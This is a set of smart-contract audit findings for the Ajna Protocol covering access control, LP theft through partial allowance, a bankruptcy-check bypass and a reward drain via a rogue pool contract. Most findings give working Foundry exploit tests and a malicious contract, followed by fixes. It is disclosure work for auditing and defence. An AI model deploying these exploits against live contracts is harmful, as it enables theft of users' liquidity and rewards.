Ajna Protocol - SpicyMeatball's results

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L170-L172

Vulnerability details

Impact

In the PositionManager contract user can call the memorializePositions function to transfer his LP to the position manager, this will save his LP information and bind it to the NFT. To do this he first needs to mint an NFT for the pool of his choice and then approve a position manager to hold his LP. Ajna doesn't restrict access to the memorializePositions so anyone can call it and transfer LP to the position manager without the knowledge of the NFT owner.

Proof of Concept

Let's say Alice minted a token and approved PositionManager to use her LP, but she doesn't have intention to memorize her position right now. This opens up the possibility for the griefer account to call memorializePositions on it, causing Alice's liquidity to be transferred to the position manager at the wrong time.

Tools Used

Manual review

Recommended Mitigation Steps

Add _isApprovedOrOwner(msg.sender, tokenId_) check in memorializePositions

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L188 https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L202 https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol#L244

Vulnerability details

Impact

memorializePositions function allows user to save the LP information and bind it to the NFT, to do this user first needs to approve his LP amount to the PositionManager and mint an NFT. When function is called the contract fetches user's LP balance from the specified pool's bucket and saves it in his storage positions[tokenId][index]. Then LP is transferred from the user to the PositionManager. The problem is that the contract assumes that all user LP will be transferred therefore

(uint256 lpBalance, uint256 depositTime) = pool.lenderInfo(index, owner);
...
position.lps += lpBalance;

but in LPActions.sol we see that if user didn't approve all his LP balance only approved LP amount will be transferred without PositionManager knowing it. This can be exploited, here is the flow:

• Alice and Bob both memorize their LP in PositionManager, both had 3000 LP, thus PositionManager owns 6000 LP
• Mal has LP in the same bucket with Alice and Bob
• She memorizes her LP too, but approves only 1 wei of LP, thus PositionManager owns 6000 LP + 1 wei
• At this time Alice, Bob and Mal all have 3000 LP binded to their NFTs
• Mal redeems her position, contract transfers 3000 LP to her
• Mal rememorizes her position and redeems again
• In the result Mal will have 3000 LP + 6000 LP from Alice and Bob, PositionManager will be empty

We can steal all the liquidity from the pool as long as it stored in PositionManager

Proof of Concept

Forge test in PositionManager.t.sol

    function testLiquidityThief() external {
        // initialize the cast
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        address mal = makeAddr("mal");
        // mint quotes
        _mintQuoteAndApproveManagerTokens(alice, 10_000 * 1e18);
        _mintQuoteAndApproveManagerTokens(bob, 10_000 * 1e18);
        _mintQuoteAndApproveManagerTokens(mal, 10_000 * 1e18);
        // bucket init
        uint256[] memory indexes = new uint256[](1);
        indexes[0] = 2550;

        //vm.startPrank(alice); //uncomment for compatibility with later foundry versions
        // users provide the liquidity
        _addInitialLiquidity({
            from:   alice,
            amount: 3_000 * 1e18,
            index:  indexes[0]
        });
        _addInitialLiquidity({
            from:   bob,
            amount: 3_000 * 1e18,
            index:  indexes[0]
        });
        _addInitialLiquidity({
            from:   mal,
            amount: 3_000 * 1e18,
            index:  indexes[0]
        });
        // users mint NFTs
        uint256 aliceToken = _mintNFT(alice, alice, address(_pool));
        uint256 bobToken = _mintNFT(bob, bob, address(_pool));
        uint256 malToken = _mintNFT(mal, mal, address(_pool));
        // construct memorialize params structs
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeAliceParams = IPositionManagerOwnerActions.MemorializePositionsParams(
            aliceToken, indexes
        );
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeBobParams = IPositionManagerOwnerActions.MemorializePositionsParams(
            bobToken, indexes
        );
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeMalParams = IPositionManagerOwnerActions.MemorializePositionsParams(
            malToken, indexes
        );
        // allow position manager to take ownership of the position
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 3_000 * 1e18;
        uint256[] memory malAmounts = new uint256[](1);
        malAmounts[0] = 1;
        // Alice
        changePrank(alice);
        _pool.increaseLPAllowance(address(_positionManager), indexes, amounts);
        _positionManager.memorializePositions(memorializeAliceParams);
        // Bob
        changePrank(bob);
        _pool.increaseLPAllowance(address(_positionManager), indexes, amounts);
        _positionManager.memorializePositions(memorializeBobParams);
        // Mal allows only 1 wei
        changePrank(mal);
        _pool.increaseLPAllowance(address(_positionManager), indexes, malAmounts);
        _positionManager.memorializePositions(memorializeMalParams);
        // some checks
        assertEq(_positionManager.getLP(aliceToken, indexes[0]), 3_000 * 1e18);
        assertEq(_positionManager.getLP(bobToken, indexes[0]), 3_000 * 1e18);
        // notice that Mal has 3000 LP binded to her token despite allowing only 1 wei
        // therefore position manager received only 6000 + one wei instead of 9000 LP
        assertEq(_positionManager.getLP(malToken, indexes[0]), 3_000 * 1e18);
        // Mal redeems her NFT
        address[] memory transferors = new address[](1);
        transferors[0] = address(_positionManager);
        _pool.approveLPTransferors(transferors);
        IPositionManagerOwnerActions.RedeemPositionsParams memory redeemParams = IPositionManagerOwnerActions.RedeemPositionsParams(
            malToken, address(_pool), indexes
        );
        _positionManager.reedemPositions(redeemParams);
        // rinse and repeat
        _pool.increaseLPAllowance(address(_positionManager), indexes, malAmounts);
        _positionManager.memorializePositions(memorializeMalParams);
        _positionManager.reedemPositions(redeemParams);
        // Mal successfully steals Alice's and Bob's LP
        (uint256 malLpBalance, ) = _pool.lenderInfo(indexes[0], mal);
        (uint256 posManagerLpBalance, ) = _pool.lenderInfo(indexes[0], address(_positionManager));
        assertEq(malLpBalance, 9_000 * 1e18);
        assertEq(posManagerLpBalance, 0);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Make mapping(address => mapping(address => mapping(uint256 => uint256))) private _lpAllowances; public and use it in the memorializePositions https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L202

            // update token position LP
            uint256 allowedAmount = pool.lpAllowances[owner][address(this)][index];
            allowedAmount = Maths.min(allowedAmount, lpBalance);
            position.lps += allowedAmount;

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L323

Vulnerability details

Impact

In Ajna PositionManager can slash LP from positions whose buckets have suffered bankruptcy, after that it's impossible to redeem them

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L195

if (_bucketBankruptAfterDeposit(pool, index, position.depositTime)) {
    // if bucket did go bankrupt, zero out the LP tracked by position manager
    position.lps = 0;

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L372

    if (_bucketBankruptAfterDeposit(pool, index, position.depositTime)) revert BucketBankrupt();

But there is a way to trick the contract and pass the _bucketBankruptAfterDeposit check.

• Alice has a position binded to the bankrupted bucket, she can neither redeem it nor memorize new LP without losing LP stored in positions[tokenId][index], because depositTime < bankruptcyTime
• she adds liquidity to the healthy bucket and memorize it in the same token with a bankrupted position
• she calls moveLiquidity where she moves LP from the healthy bucket to the bankrupted one
• bankrupted position depositTime is overwritten with a new position's deposit time
• now she can pass the check because new depositTime > bankruptcyTime

Proof of Concept

Forge test in PositionManager.t.sol

    function testBankruptcyEscape() external {
        address testMinter        = makeAddr("testMinter");
        address testBorrower      = makeAddr("testBorrower");
        address testBorrowerTwo   = makeAddr("testBorrowerTwo");

        uint256 testIndex = _i9_91;

        /************************/
        /*** Setup Pool State ***/
        /************************/

        _mintCollateralAndApproveTokens(testBorrower,  4 * 1e18);
        _mintCollateralAndApproveTokens(testBorrowerTwo, 1_000 * 1e18);

        // add initial liquidity
        _mintQuoteAndApproveManagerTokens(testMinter, 500_000 * 1e18);
        //vm.startPrank(testMinter);// uncomment to run with later foundry versions
        _addInitialLiquidity({
            from:   testMinter,
            amount: 2_000 * 1e18,
            index:  _i9_91
        });
        _addInitialLiquidity({
            from:   testMinter,
            amount: 5_000 * 1e18,
            index:  _i9_81
        });
        _addInitialLiquidity({
            from:   testMinter,
            amount: 11_000 * 1e18,
            index:  _i9_72
        });

        // first borrower adds collateral token and borrows
        _pledgeCollateral({
            from:     testBorrower,
            borrower: testBorrower,
            amount:   2 * 1e18
        });
        _borrow({
            from:       testBorrower,
            amount:     19.25 * 1e18,
            indexLimit: _i9_91,
            newLup:     9.917184843435912074 * 1e18
        });

        // second borrower adds collateral token and borrows
        _pledgeCollateral({
            from:     testBorrowerTwo,
            borrower: testBorrowerTwo,
            amount:   1_000 * 1e18
        });
        _borrow({
            from:       testBorrowerTwo,
            amount:     7_980 * 1e18,
            indexLimit: _i9_72,
            newLup:     9.721295865031779605 * 1e18
        });

        _borrow({
            from:       testBorrowerTwo,
            amount:     1_730 * 1e18,
            indexLimit: _i9_72,
            newLup:     9.721295865031779605 * 1e18
        });

        /****************************/
        /*** Memorialize Position ***/
        /****************************/

        uint256 tokenId = _mintNFT(testMinter, testMinter, address(_pool));
        // check owner
        assertEq(_positionManager.ownerOf(tokenId), testMinter);
        // check position manager state
        assertEq(_positionManager.getLP(tokenId, testIndex), 0);
        assertFalse(_positionManager.isIndexInPosition(tokenId, testIndex));

        // memorialize positions
        uint256[] memory indexes = new uint256[](1);
        indexes[0] = testIndex;
        // allow position manager to take ownership of the position of testMinter
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 2_000 * 1e18;
        _pool.increaseLPAllowance(address(_positionManager), indexes, amounts);

        address[] memory transferors = new address[](1);
        transferors[0] = address(_positionManager);
        _pool.approveLPTransferors(transferors);

        // memorialize positions of testMinter
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams(
            tokenId, indexes
        );
        _positionManager.memorializePositions(memorializeParams);

        // check position state
        (uint256 lps, uint256 depositTime) = _positionManager.getPositionInfo(tokenId, testIndex);
        assertEq(lps, 2_000 * 1e18);
        assertEq(depositTime, _startTime);

        // check position is not bankrupt
        assertFalse(_positionManager.isPositionBucketBankrupt(tokenId, testIndex));

        /*************************/
        /*** Bucket Bankruptcy ***/
        /*************************/

        // Skip to make borrower undercollateralized
        skip(100 days);

        // minter kicks borrower
        _kick({
            from:           testMinter,
            borrower:       testBorrowerTwo,
            debt:           9_976.561670003961916237 * 1e18,
            collateral:     1_000 * 1e18,
            bond:           98.533942419792216457 * 1e18,
            transferAmount: 98.533942419792216457 * 1e18
        });

        // skip ahead so take can be called on the loan
        skip(10 hours);

        // take entire collateral
        _take({
            from:            testMinter,
            borrower:        testBorrowerTwo,
            maxCollateral:   1_000 * 1e18,
            bondChange:      6.531114528261135360 * 1e18,
            givenAmount:     653.111452826113536000 * 1e18,
            collateralTaken: 1_000 * 1e18,
            isReward:        true
        });

        _settle({
            from:        testMinter,
            borrower:    testBorrowerTwo,
            maxDepth:    10,
            settledDebt: 9_891.935520844277346922 * 1e18
        });

        // bucket is insolvent, balances are reset
        _assertBucket({
            index:        _i9_91,
            lpBalance:    0, // bucket is bankrupt
            collateral:   0,
            deposit:      0,
            exchangeRate: 1 * 1e18
        });

        // check position is bankrupt
        assertTrue(_positionManager.isPositionBucketBankrupt(tokenId, testIndex));
        // redeem should fail as the bucket has bankrupted
        IPositionManagerOwnerActions.RedeemPositionsParams memory reedemParams = IPositionManagerOwnerActions.RedeemPositionsParams(
            tokenId, address(_pool), indexes
        );
        vm.expectRevert(IPositionManagerErrors.BucketBankrupt.selector);
        _positionManager.reedemPositions(reedemParams);
        // let's add some liquidity to the healthy bucket and move it to the bankrupted one
        // skip some time
        skip(1 minutes);
        _addLiquidityNoEventCheck({
            from:   testMinter,
            amount: 100 * 1e18,
            index:  _i9_62
        });
        // memorialize new positions
        uint256[] memory newBucket = new uint256[](1);
        newBucket[0] = _i9_62;
        // allow position manager to take ownership of the position of testMinter
        uint256[] memory newAmounts = new uint256[](1);
        newAmounts[0] = 10 * 1e18;
        _pool.increaseLPAllowance(address(_positionManager), newBucket, newAmounts);
        // memorialize new bucket params
        memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams(
            tokenId, newBucket
        );
        _positionManager.memorializePositions(memorializeParams);
        // move liquidity from _i9_62 to _i9_91
        IPositionManagerOwnerActions.MoveLiquidityParams memory moveLiquidityParams = IPositionManagerOwnerActions.MoveLiquidityParams(
            tokenId, address(_pool), newBucket[0], testIndex, block.timestamp + 30
        );
        _positionManager.moveLiquidity(moveLiquidityParams);
        // check if position is still bankrupt and redeem
        assertFalse(_positionManager.isPositionBucketBankrupt(tokenId, testIndex));
        _positionManager.reedemPositions(reedemParams);
    }

Tools Used

Foundry

Recommended Mitigation Steps

We can either revert or slash stored lps if toPosition.depositTime < bankruptcyTime

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L317

Position storage toPosition = positions[params_.tokenId][params_.toIndex];
if (_bucketBankruptAfterDeposit(params.pool, params.toIndex, toPosition.depositTime)) {
    toPosition.lps = 0; // or revert
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/RewardsManager.sol#L311

Vulnerability details

Impact

Users of the Ajna protocol are rewarded with Ajna tokens for updating pools exchange rates. To do this they need to call updateBucketExchangeRatesAndClaim with the pool address and some bucket indexes as arguments. The reward is then calculated based on the pool's state and transferred to the user. This function can be exploited, an attacker can pass the address of a malicious contract which will feed faulty parameters to the rewards manager which in turn can lead to the calculation of a highly inflated reward.

Proof of Concept

Attacker's contract

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.14;

import 'src/interfaces/rewards/IRewardsManager.sol';
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract RoguePool {
    IRewardsManager immutable rewardsManager;
    ERC20 immutable ajnaToken;

    uint256 public burnEpoch;
    uint256 public prevBurnEpoch;

    constructor(IRewardsManager _rewardsManager, ERC20 _ajnaToken) {
        rewardsManager = _rewardsManager;
        ajnaToken = _ajnaToken;
    }

    function reset() external {
        prevBurnEpoch = 0;
        burnEpoch = 0;
    }

    function setBurnEpoch(uint256 newEpoch) external {
        prevBurnEpoch = burnEpoch;
        burnEpoch = newEpoch;
    }

    function currentBurnEpoch() external view returns(uint256) {
        return burnEpoch;
    }

    function burnInfo(uint256 epoch) external view returns(uint256, uint256, uint256) {
        uint256 targetBalance = ajnaToken.balanceOf(address(rewardsManager));
        if(epoch == burnEpoch)
            return (block.timestamp, 0, 0);
        if(epoch == burnEpoch - 1)
            // overwhelm the reward cap check
            return (block.timestamp, 1 * 1e18, targetBalance * 10);
    }

    function bucketInfo(uint256) external view returns(uint256, uint256, uint256, uint256, uint256) {
        return (0, 0, 0, 100000 * 1e18, 0);
    }

    function bucketExchangeRate(uint256) external view returns(uint256) {
        if(prevBurnEpoch == 0)
            return 1;
        else
            return 300000;
    }
}

Attack in RewardsManager.t.sol

    function testRoguePoolAttack() external {
        address mal = makeAddr("mal");
        vm.startPrank(mal);

        uint256 rewardsManagerBalance = _ajnaToken.balanceOf(address(_rewardsManager));
        uint256 malBalance = _ajnaToken.balanceOf(mal);
        assertEq(malBalance, 0);
        // set prev exchange rate to bypass
        // https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/RewardsManager.sol#L789
        roguePool = new RoguePool(_rewardsManager, _ajnaToken);
        roguePool.setBurnEpoch(1);
        uint256[] memory indexes = new uint256[](1);
        indexes[0] = 777;
        _rewardsManager.updateBucketExchangeRatesAndClaim(address(roguePool), indexes);
        // finalize the attack
        roguePool.setBurnEpoch(2);
        _rewardsManager.updateBucketExchangeRatesAndClaim(address(roguePool), indexes);
        // post attack checks
        malBalance = _ajnaToken.balanceOf(mal);
        assertEq(malBalance, rewardsManagerBalance);

        rewardsManagerBalance = _ajnaToken.balanceOf(address(_rewardsManager));
        assertEq(rewardsManagerBalance, 0);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Validate pool address in updateBucketExchangeRatesAndClaim like it's done in the PositionManager.sol

function updateBucketExchangeRatesAndClaim(
        address pool_,
        bytes32 subsetHash,
        uint256[] calldata indexes_
    ) external override returns (uint256 updateReward) {
        if(!positionManager._isAjnaPool(pool_, subsetHash)) notAjnaPool();
        ...

Assessed type

Invalid Validation